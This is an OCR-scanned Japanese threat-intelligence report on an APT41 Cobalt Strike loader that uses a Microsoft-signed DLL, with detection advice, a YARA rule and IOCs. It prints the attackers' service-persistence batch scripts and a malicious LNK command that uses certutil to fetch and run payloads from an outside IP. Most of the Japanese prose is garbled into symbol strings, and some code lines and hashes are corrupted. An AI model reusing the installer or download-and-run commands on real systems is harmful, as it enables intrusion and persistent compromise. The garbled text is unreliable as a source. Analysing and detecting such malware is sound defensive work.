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%3 Sigcheck - Windows Sysinternals | Microsoft Docs

C:¥>sigcheck64. exe KBDTAM131.DLL

Sigcheck v2.80 — File version and signature viewer
Copyright (C) 2004-2020 Mark Russinovich

Sysinternals — www. sysinternals. com

C:¥KBDTAM131. DLL:
Verified: Signed
Signing date: 13:53 2018/09/15
Publisher: Microsoft Windows
Company : Microsoft Corporation
Description: UXLib Resources
Product: Microsofts Windows3 Operating System
Prod version: 10.0.17763. 1
File version: 10.0.17763.1 (WinBui ld. 160101. 0800)
MachineType: 64-bit
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decode_chacha2@((__ inttd)&key, v1, (
ProcessHeap = GetProcessHeap();

__int64)&nonce, (_

v3 = HeapAlloc(ProcessHeap, 8u, @x38uibd);

vd = (unsigned int)length;
quord_180017088 = (__ints4)v3;
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; Export Ordinals Table for beacon.xbd.dll
word 18683BC18 dw B8

abeaconXodD1ll db "beacon.xbd.dl1’,@
aReflectiveload db "Reflectiveloader’,@
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Microsofttt DT K IVEBL 7 71 L% EFR9 % Cobalt Strike loader ¥
APT41 ¥ DBIENM:

*Atfoc;t Cobalt Strike loaders FJ~%5 T, FireEyettA20204E3 8 (23459 HAPT410)L

— N TN T DR E BT 2 6 DAEMRL £ L1z, LUETIE. JEINT 2RI 4248
7l Liﬁ‘ "FireEye 4> 7)L1 H'. FireEyedtHVABHT HIRIFT. "NEWH > TIL, A
Microsoftit 7> R ILE L X #11-DLLY 71 JL % ZEF 9 % Cobalt Strike loaderd) B TFI| B
ENT-IRIFTY .

%7 This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using_Multiple Exploits

1. 42X M=ILRZ YT}

T77PAIVE /Ny afE (MD5)
FireEyetf> /)L install.bat 7966¢c2¢c546b71e800397a67f942858d0

NEWH > 7))L install.bat  fef94f9977f6c9da0d8e006a5fefc5c1

KIOIZ/RT L2, /Ny F 7 PAILORBAEERT D, h—EREE:T SDLLY 71 LT

Rig) F9H BERL. (FEFE—THBI AR TEET. 0. NEWHTILIC
S FEN32DO0DLLIE. BIIATEES L1-. Cobalt Strike loader (AacSvc.dll) ¢ Microsoftft

TURIELT 7AILEFOESHINI_(O—F (KBDTAM131.DLL) TY,
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off
"WORK_DIR-C:\Windows\System32"
"DLL_NAME-storesyncsvc.dll"
"SERVICE_NAME-StorSyncSvc"
"DISPLAY_NAME-Storage Sync Service"
"DESCRIPTION The Storage Sync Service is the top-level resource for
File Sync. It creates sync relationships with multiple storage accounts
via multiple sync groups. If this service is stopped or disabled,
applications will be unable to run collectly."

stop %SERVICE_NAMES
delete %SERVICE_NAMES
%WORK_DIR%
"%~dp@%sDLL_NAMES" "%WORK_DIR%" /Y
add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%
SERVICE_NAMES" /t REG_MULTI_SZ /d "%SERVICE_NAMES" /f
create "SSERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %
SERVICE_NAMES" = share = auto error= ignore DisplayName= "%
DISPLAY_NAMES"
failure "%SERVICE_NAMES" = 86400 actions= restart/60000/restart/
60000/ restart/60000
description "%SERVICE_NAMES%" '%DESCRIPTIONSs"
add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /
.F
add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /
v "ServiceDl1" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAMES" /f
"%SERVICE_NAMES"

of f
"WORK_DIR=c:\Windows\System32"
"DLL_NAME-AacSvc.dl1"
"SERVICE_NAME-AacSvc"
"DISPLAY_NAME-AacSvc"
"DESCRIPTION-Runtime for activating conversational agent applications"

stop %SERVICE_NAMESs
delete %SERVICE_NAMES
%WORK_DIR%
"%vdp@%DLL_NAMES" "SWORK_DIRS" /Y
"%~dp@KBDTAM131.DLL" "%WORK_DIR%\KBDTAM131.DLL" /Y
add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%
SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f
create "%SERVICE_NAMES" binPath= "%SystemRoot%\system32\svchost.exe -k %
SERVICE_NAMES" = share = auto error= ignore DisplayName= "%
DISPLAY_NAMES"
failure "%SERVICE_NAMES" = 86400 actions= restart/60000/restart/
60000/ restart/60000
description "%SERVICE_NAMES" "%DESCRIPTIONS"
add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /
f
add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /
v "ServiceD11l" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAMES" /T
"%SERVICE_NAMES"

K9 >R F—ILRZY) T rdbkEE (L : FireEyetr>7IL /T : NEWH 7))




2. Cobalt Strike loader®®)Windows API7 FL AR ¥& T ZR— P X2 BDLL
7714

7 7PA1IVEA Ny a1{@ (MD5)

FireEyetf> /)L storesyncsvc.dll 5909983db4d9023e4098e56361c96a6f

NEW+> )L AacSvc.dll 1e750c5cf5¢c68443b17c15f4aac4d794

K10(Z/RT LI, I—FORBAELERT 2 &, U INTWBEFEDWindows APl 32
) FIHN Wlndows APIDT FL 2R &FUHE 4 O— FIZEMMEAB SN ET. F1-.
IO ZR—FEINBDLLOT 7 A IILE HRARRBAMMTWE - ¥ R TE X7,

%8 Ecoco.dll ¥ L—> 7-454 3R BIASEA L 7 L Cobalt Strike loadert, —ZpiEA L TV E T,

ProcessHeap = GetProcessHeap();
quord_180019E7@ = (__int64)HeapAlloc(ProcessHeap, 8u, @x1E8uibd);
if ( qword 180@19E70 )

{
*(_QWORD *)gword_180@19E7@ = resolve_APIcall(strchar);

*(_QWORD *)(qword_180019E70 + 8) = resolve APIcall(RtlAnsiStringToUnicodeString);
*(_QWORD *)(qword_180019E7@ + 16) = resolve_APIcall(RtlFreeUnicodeString);
*(_QWORD *)(qword_180019E70 + 24) = resolve_APIcall(RtlInitAnsiString);

*(_QWORD *)(qword_18@019E7@ + 32) = resolve APIcall(RtlCharTolInteger);

*(_QWORD *)(qword_180019E7@ + 48) = resolve_APIcall(LdrGetDllHandle);

*(_QWORD *)(qword 180019E70 + 48) = resolve APIcall(lLdrLoadDll);

*(_QWORD *)(qword_18@019E7@ + 56) = resolve_APIcall(LdrGetProcedureAddress);
*(_QWORD *)(qword_180019E7@ + 64) = resolve_APIcall(GetModuleHandleA);

*(_QWORD *)(qword_180019E7@ + 72) = resolve APIcall(LoadLibraryA);

*(_QWORD *)(qword_180019E7@ + 88) = resolve_APIcall(FreelLibrary_0);

v2 = GetProcessHeap();

qword_188019E78 = (  int64)HeapAlloc(v2, 8u, ©x58uiéd);
v3 off_1806189F8;

vl 0;

o
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ProcessHeap = GetProcessHeap();

quord_180817D1@ = (_ int64)HeapAlloc(ProcessHeap, 8u, @x58uib4);

*(_QWORD *)gqword_180017D1@ = resolve APIcall(&RtlComputeCrc32, 22i64);

*(_QWORD *)(qword_180817018 + 8) = resolve_APIcall(&NtQuerySystemInformation, 31i64);

*(_QWORD *)(qword_18e017D10 + 16) = resolve_APIcall(&NtDuplicateObject, 24i64);

*(_QWORD *)(qword_180@17D10 + 24) = resolve_APIcall(&NtQueryObject, 20i64);

*(_QWORD *)(qword_18e017D10 + 32) = resolve_APIcall(&NtCreateSection, 22i64);

*(_QWORD *)(qword_180017D10 + 48) = resolve_APIcall(&NtMapViewOfSection, 25i64);

#(_QWORD *)(qword_188@17D10 + 48) = resolve_ APIcall(&NtUnmapViewOfSection, 27i64);

*(_QWORD *)(gword_180017D10 + 56) = resolve_APIcall(&NtCreateTransaction, 26i64);

#(_QWORD *)(qword_180017D1@ + 64) = resolve APIcall(&NtClose, 14i64);

vl = resolve_APIcall(&RtlInitUnicodeString, 27i64);

v2 = (_QWORD *)qword 180817D10;

*(_QWORD *)(qword_180@17D1@ + 72) =

v3 = 8;

X]10 Windows API?D T N L Z iR & IFUH 9§ O — Ntk (L : FireEyetr > 7L/ F : NEWH>
7)

; Export Ordinals Table for loader X64 svchost attach.dll

word_1860016790 dw 0, 1, 2 ; DATA XREF: .rdat
aloaderX64Svcho db "loader X64 svchost_attach.dll’,@

; DATA XREF: .rdat
aGetalluser db *GetAllUser',® ; DATA XREF: .rdat
aServicemain db ‘ServiceMain',® ; DATA XREF: .rdat
aStringcontract db ‘StringContract’,® ; DATA XREF: .rdat

; Export Ordinals Table for Win32Loader.Svchost.X64.dll

2
word_180015190 dw 1, @, 2 ; DATA XREF: .rm
aWin32loaderSvc db 'Win32Loader.Svchost.X6d4.d1l',0

; DATA XREF: .r

aCollaborate db 'Collaborate’,® ; DATA XREF: .rm
aRun db "Run’,® ; DﬁT& XREF: .m
aServicemain db SEPVICEHaln ,0 ; DATA XREF: .m

11 T RR—FENBDLLY 71 ILODELER (E Hmae#/7w/$'NBM&/7w)

D& EMREREF Z D . Microsoftlt DT RILEBLZ I NI-DLLY 71 IILAEBRT 5
Cobalt Strike loader £, APT41AFIBB L1-H D TH DU HEMA TS W EZ 9.

APT41(. Dy & £ 202043 AEEA 5 Cobalt Strike loadera A L TH ) . WE A (HHNT

(CHABEABMF/-(3ZEL . WBF v o R—EFITFEOHTTHABELTWEY, EiL
2o T IVDOBEREIUSMNCE . X1 O— K &HiAAZIDLLAICY z/La— RAREZh
5HDHMERLTWET. %4, Positive Technologiestt 7' 0 & *9CAPT41¢)Cobalt
Strike loader|ZREiE 3 ZIRIMBERA N DAVABINTULE T,
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%9 Higaisa or Winnti? APT41 backdoors, old and new

WX v oR—=VIZFRTRI75

Z I Tl WEENC2Y—NF IV —IVEEGE L TERL TWW-RBEELICEAM[ITT

AHET. K12(%. Mlcrosoft?id)T/’}?)l/%ﬁéfr’LtDLL7 1 JL%EFd % Cobalt Strike

loaderXo¢ N1 O— FABLE I N TNV -IE{E5E (119.45.238[.]189) %A J0IZ. Maltego TR

By A3EERA—IV Y [:°‘/7“L,7‘; HNDTY . TRERFT/Rd . Cobalt Strike loader(Z{FH L T

HBDE. N TAITBHEDEIRNC. FHRTRT. TORIVELZT 71IHTEINT

LMLy Tsystems.log ) 7 71 ILA R4 O— R & L CatHAL BlonCobalt Strike loader
(tools.exe) HHERTE 9.

Passive DNS7 K ONFHA S Y —ILE &I L TERAEIN TW A HEREL THD &,
7119.45.238[.]189 £, 20204118 F4). —A T [192.109.98[.]187 1 #2020%108 4]
(ZfEHNTH ) BEBET, WEF+ 2 _X—2 (2L > 7T, Cobalt Strike loaderA{#L 93T
WBZENEAET.

KIZ. ELEIZ2 v E I NT-EFR4RDOLNK Y 71 )L Top-up Scheme_Member List as of
20201022v1_for Nomination.pdf.nk ; [ZEB L CTA X9 . D7 71IUF. R13IZRT &
(Z. Cobalt Strike Becon (const.exe) MDA O—XTH'). FIHIERATHREINW - ZZ
ShET., F1-. X7 0O— F&ht-Cobalt Strike Becon?IB{55¢(%

"www.microsofthelp.dns1[.Jus; Td ). IESI& L1IP7 KL X(F., 7192.109.98[.]187, &
ZZTHEEMARZ Y. K43, INK7 7AILEITRICKRREIND T A 7 71 ILOW
ATY.

& o o

Top-up Scheme_Member List as of... 119.45.238.189 192.109.98.187

Microsoft www.corpsolution net Cobalt Strike Becon
- .
— —

[X]12 Cobalt Strike loader & IB1{= 5t M
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https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

Link information:
Creation time : Jan 09, 2020 21:25:13.007642600 UTC
Modification time : Jan 09, 2020 21:25:13.007642600 UTC
Access time : Nov @5, 2020 ©3:21:29.908766100 UTC
File size : 280064 bytes
File attribute flags 0x00000020
Should be archived (FILE ATTRIBUTE _ARCHIVE)
Drive type : Fixed (3)
Drive serial number : Ox5c92cbdé
Volume label .
Local path : C:\Windows\System32\cmd.exe
Relative path : ..\ \..\Windows\System32\cmd.exe

Working directory : C:\Users\Public)
Command line arguments t

Jc copy C:\Win
dows\\System32\\certutil.exe c:\\users\\public\\cer.exe & c:\\users\\public\\c
er.exe -urlcache -split -f http://119.45.238.189:8080/Nomination.pdf c:\\users
\\public\\Nomination.pdf & start c:\\users\\public\\Nomination.pdf & c:\\users
\\public\\cer.exe -urlcache -split -f http://119.45.238.189:8080/const.txt c:\
\users\\public\\const.exe & start c:\\users\\public\\const.exe

Icon location : .W\1.pdf
Environment variables location : %SystemRoot¥\system32\cmd.exe

13 LNK”7 7 1 ILOORA
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#SR : CD/101/000/2 Pt. 2

EEWSE : 28103104

NEEXEBEBEFE15/2011%

(E - E2FREIAN  £BAREERLR - )

WARR

FHEGABEHRFERE LABRUESZIH -EBHWIER -
EZTRXEENEDE AT - EFREBASMANEAEA
B ZETH(LBREEBHV) RABAREERAGCEMEZAZR
Ak 1 Y R 3 —

(a) (AHBEBRM) F431 F435HFEER-FZREF";

(b)) {ABREEHERW) P44 EHEZF ="

() AEBREEREEE2/20045 50 “FIZHE";

(A ABEEERESEIN200TREM LB LA LS 7 #ZF
=7 AP ESH IS (ERFAB(TRRESFIAE) .
Ll B

K14 7247 71 ILORE (—EpHKFE)

BRIRIFORER & HRHH

4 [E4A/ L1=. Cobalt Strike loader($. Windowstr—E X &FIF L TEITE N 518, Lo
Z R F=A X2 FOTIZW OHEET BIRIFHER D ATREMEA S LT . ATIZ¢NDIR
AR T DAEE—BlE L TAANL £9 . F71-. I&IZCobalt Strike loaderhVERT %
Microsoftst DT X ILELZ S Nt-DLLY 71 LA BV B LIRS 51-D, LR MK
EHEMANLET.

1. Autoruns 10 t 2 BENEENI 7' 025 LOER

Autoruns#FIAAL T, BEIREN T /) 7r—2 a3 L X M) 770ILEREL. REY
7077 LHEEINTUWRUAHERRL £9. K15(Z7R9 1), Cobalt Strike loaderp ) —
EREFINIGE. O— NBRAWERT D4 7> 328 LI-AutorunsTiE, 2
BIZNT T FENTEHY . AacSvedIIARIET 7 A IV THDZ EHMERTE T, 117
L. IKEEXTH—tE X &ERT32FANGmEIL. IKEEXTH—E X(FOSIZTH S FIET BIE
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HHY—EZXTHI) . ZOH—EZRHARIELwbsctrl.dll & 7r AL E (FAutoruns_EA S FERT
Wz (K16) . AR O (VRTL) TRESLY—EZRDOFEIES S OREAYL L
HEEMHERT DDLENDY) £

%10 Autoruns for Windows - Windows Sysinternals | Microsoft Docs

& Autoruns [DESKTOP-DETQD20¥DF] - Sysinternals: www.sysintermals.com
Eile Entry Options User Help

dARAXE Fier[ ]

%] Appinit (8] KnownDus @& winlogon &Y Winsock Providers & Print Moritors W 124 Providers S Network Providers il wh
7 Everything 24 Logon o Esplorer & Internet Explorer () Scheduied Tasks i services 2 privers 3 codecs [ soot Execute
FAutorun Entry Description Publisher Image Path Timestamp
2 HKLM SystemsCumentControlSet¥Senvices 2021/05/19 15:39
B[4 AacSve AacSve: Runtime for activating conversational agent applications Microsaft cHwindows¥system3Waacsve.dl 2020010430 15:07

@ EMSV:_#ZAEE Agent Activation Runtime_42a65; Runtime for activating conversation.,. (Vedfied) Mcrosoft Windows Publisher  c¥windows¥system32¥svchost exe 199770111 7.26

15 AutorunsZE1T45R  (AacSve.dllnfi)

=] Autoruns [JP-WIN101709X64¥forensics] - Sysintemnals: www.sysintemnals.com
Eile Entry Options User Help
FEL R —
%) Applnit  [%) knowrDLls B Winlogon & winsockProviders <l PrintMonitors @) LSAProviders & NetworkProviders i
7 Everything % Logon  { Explorer @ IntemetExplorer () ScheduedTasks 6 Services  B) Drivers [ Codecs [ Boot Executs

Autorun Entry Description Pubksher Image Path Timestamp
B4 [4] icssve Windows £/ )L Hzb ARk H—E.. (Vedfied) Microsolt Windows ¢ ¥windowsl¥system I2itetheringse... 1916/06/29 2:45
|&] IKEEXT IKE and AuthiP IPsec: Keying Module... (Verfied) Microsoft Windows  c¥windows¥system32¥kest dl  1902/01/08520 |
b1 |4 InstalService Windows A FF 422 b=Jl H—ER: . (Verfied) Microsoft Windows c¥windows¥system 3 ®¥installservic... 1963/05/09 0:10

16 Autoruns=E1T4ER (IKEEXTH—E ZDfAI)
2. /R AR

Cobalt Strike Loader|ZBIiEJ 2 M E 5211356, Y—ERDA R F—ILARET B A[RE
MUHHB_EeH b, AN bOT (VRTL) (2. AR MDT704A5TH—ERDA X b
—IILHRCEREINTWBIGEADH ) FT . S RTFTLATEHERL. ANE/LWindowsth—E XD
AR M=ILHATHONTWEULAORERL £9°. F71-. 41X MID7036(2HULVT. IKEEXTH-
—E2AEBRET. B LUBBRENTOEULARERL £9. *H. 0SIZL > TS,
BERE CIZIKEEXTH —E R (ZIFENFEITE > THY . Y—ERERIATZHZ T, A1t
ID 7040H%GC83 & ND 18D, ZDRATDAXR FATHERILTWEHD T ULAMERL
ER

11 OSFERNIZ L > TiE. 41X MID7036HGCERI NI WIGENH ) £
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https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

A~k 7045, Service Control Manager

EXC T

H—EANUAT LA A= IENELE.

H—F2A4: AacSve

H—FA 771 IE C¥Windows¥systemd2¥svchost exe -k AacSve
H-EADIERE: 21— £-F H-EA

H—EAREMIEZR BEhELRES

H—EA Ph b LocalSystem

04 MmI M) DATAL

YI=2(S) Service Control Manager oA @B (D 2021505714 16:52:51
A A% b ID(E): 7045 AAAOHFINY: B

Lo bEL: &R F—0—F(K): DS3wh

s e () test-PC¥test 1 —8—(R): test-PC

K17 < 2F L0727 (4> D:7045) O—EpikE:

A~k 7036, Service Control Manager

EXEINE

IKE and &uthIP IPsec Keying Modules H—FA3 1o {ABECIZTTLE L.

05 M-GaI(M): DATL

Y—=AS) Service Control Manager oo@mB (D) 2021705417 14:18:05
A M b IDEE): 7036 BALOAHT ) 2l

LA LELY: &R 2 —J— (KD ]

2 —H={U) N JEa—-R—(Rk  test-PC
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A N2k 7036, Service Control Manager

EX AN

IKE and AuthIP IPsec Keving Modules H—E AL 2179 IRBBCIZTTLE L.

0L MGa(M): VAT

V=2A(5): Service Contral Manager oAS@B (D) 2021705417 14:18:05
A A IDCE): 7036 RASMHT IV Rl

L)L) '&%R 2 —1— Bk D33

2—H—(U)x N/A T/E21-5—(R): test-PC

K18 > 25,407 (A~ MID:7036) O—HK#:

3. FalconNest?)Live Investigator?) ¥

ot ARty 2 MRIEEE Y — )L TFalconNest; *'2¢hLive InvestigatoraFIFd 2 ¢ T, 1
Ry FATDARER F - IAEFELEIFFET 7 71IUHAREBIN T WAMERT S Z 2 HT]
BETT.

%12 EREEAZE Y —)L "FalconNest (7 7L R ZA M) |

4. Yara%xFIA L 7-#H

Microsofttst HT 2 KX ILELZ X t-DLLY 71 )L A ZEFJ % Cobalt Strike loaderg)Yara)L—)L
TY. ZOHBEIL—ILEFIAY S & T, Cobalt Strike loadera1&Hi 9% Z & AFIBETY .
E. DEEIL—ILOFIBIZ L ) BREARET DA REMEAH D1, KBS AT L~NEN
THHEE. FHIZTRAMN, Fa—Z 2 0TAC Z 5 BEHL T

rule apt4l_ms_codesign_cobalt_strike_loader

{
meta:
author = "LAC Co., Ltd."
strings:
$strl = "sysinfotool" fullword wide
$str2 = "Microsoft system info" fullword wide
$str3 = "ComSpec" fullword wide
$str4 = ">> NUL" fullword wide
$str5 = "system" fullword ascii
condition:
uint16(0®) == Ox5A4D and (all of ($str*)) and filesize < 100KB
}
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https://www.lac.co.jp/solution_product/falconnest.html

5. 7 RIVEBLREINI-T 71 IVDEBWGEE

Microsoftat Dt 1 1) 57 1« 7 K/NA 1) (2915720) *'34 %3(Z. Windows Authenticode
ZRIFRLOBEA BN T B1-DNDL PR M) A#IBINY 5 Z ¥ T, SigLoaderx>Cobalt
Strike loaderAEAT 2T RIVEBRZ I N7 74 IIVEEYNZHERET 5 Z £ AVRJRETT (K
19) .

7-72L. BEDOWindowsIRIE Tld. Z OH¥EEIZRE CEMIZA > THY) . U7 /N1
ABED. 1—HFHCENITT BRBLGY T, 21, Mm%mﬁ@7D7W4xt
g, ZOBEBLREIMEEIZOWT, TBRE TBMZLIGEDBREDY 7 F 7 = TADHE
HAREWL S EELTWDID. BT DHNCC R T LRBEICE S 2 EOFES ZHER
JECZ e #HRLET.

C:¥>sigcheckbd . exe KBDTAMTST.DLL

= We l'_Ei i' '[I Eir'll:i f‘_-. -—l I“i+|

19 Mlcrosofﬁi@‘r s )b%% HRFODLLY 71 ILDEZ DB IMMER (BRREDIEEESB)

%13 Microsoft Security Advisory 2915720 | Microsoft Docs

- Microsoft Security
Response Center

FeoH

A [E(Z. Microsofttt DT R ILEL X t-DLLY 7 LA FEFJ % Cobalt Strike loader(ZD
WTAAN L F LTz, Microsoftttd 7 RIVERZ INT-7 71 IILAERT 2HE(L. APTI0H°
FIMd % 'SigLoader, (2IXWT2HIBOMERIZA L) £97. O /N1ILERA RS ELI2DOD
VIL T T AELEE L TH D & . Cobalt Strike loader(Z. 20205108 F4]. SiglLoader(3.
202010 A LA EIEWHRF TIEREINTUWS Z EAMRTE E LIz, ZDLHI I eh

b WEBEIIL—T1E. JIL—7RIZEWT, BAMEHRCHE LIz 7. /NI
HHEBLTWAHEEMEASWEEZ 7.
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https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720
https://msrc-blog.microsoft.com/2014/04/14/windows-authenticode-6/

VES . A /NN—HEBORRE. BRI 7 7AIVRERUZ) V0 ABULARET 714y I X—
W&, SSLVPNEG, IL—& - r— 7 1 ®HE C ot 5 EBERT 57— 2ANE|
EHECE->TWET, WEH(L. JO0FMTIo2—y MIEHLUIZRY P T—o#Es
DS E N A ARSI TERAL TETWET., 1X—R Y MIBAELTWSRY FT—7
22T, BICHAN—HEIZISINTWB-OFENBETH) . Zhsssnlfsstts
ERaWOICH. B2 OSSHEEROEIE » B1E/ Ny FOBREMROBE AL &N
BRiXIEHAkO5NFT .

S IDEBDINF— LTI, A12+ = HCobalt Strike loaderxoAPT41(ZDUWNT . AK&FH(Z
AEL. INKBERERELTUWE ZFTOT. TIEAWLV-FEIHNIEEWTT,

IOC (Indicator Of Compromised)

Cobalt Strike Loader/\+y < 1{# (MD5)

1e750c5cf5c68443b17c15f4aac4d794
083eae61806f710ba2fa8fb368f7e998
420c09296ae836a853¢c5968a2a554f96
955f71062d06ebca0c9852ae3ec2965b
6e17ee7cabfddf28a47cc07d5524ce5c
f5158addf97624 3ffc19449e74c4bbad
79175a12c63c4f4980f09d9dd41ceb4a

R4 O—F (MD5)

89c6ccd4785f58b7¢cb253045ef662476
2f2e724dd7d726d34b3f2cfad92e6f9a
af9959184a17de5dcd717882b2d58103
03f7b36b33e30023d34adf80165b7dbb

AR M=ILRZ )T+ (MD5)

fef94f9977f6c9da0d8e006a5fefchc

B{55

www.corpsolution[.]net
www.mircoupdate.https443[.]net
ns1.mssetting[.Jcom
ns.cloudO1[.]tk

119.45.238[.]189

DRI B F LA ?
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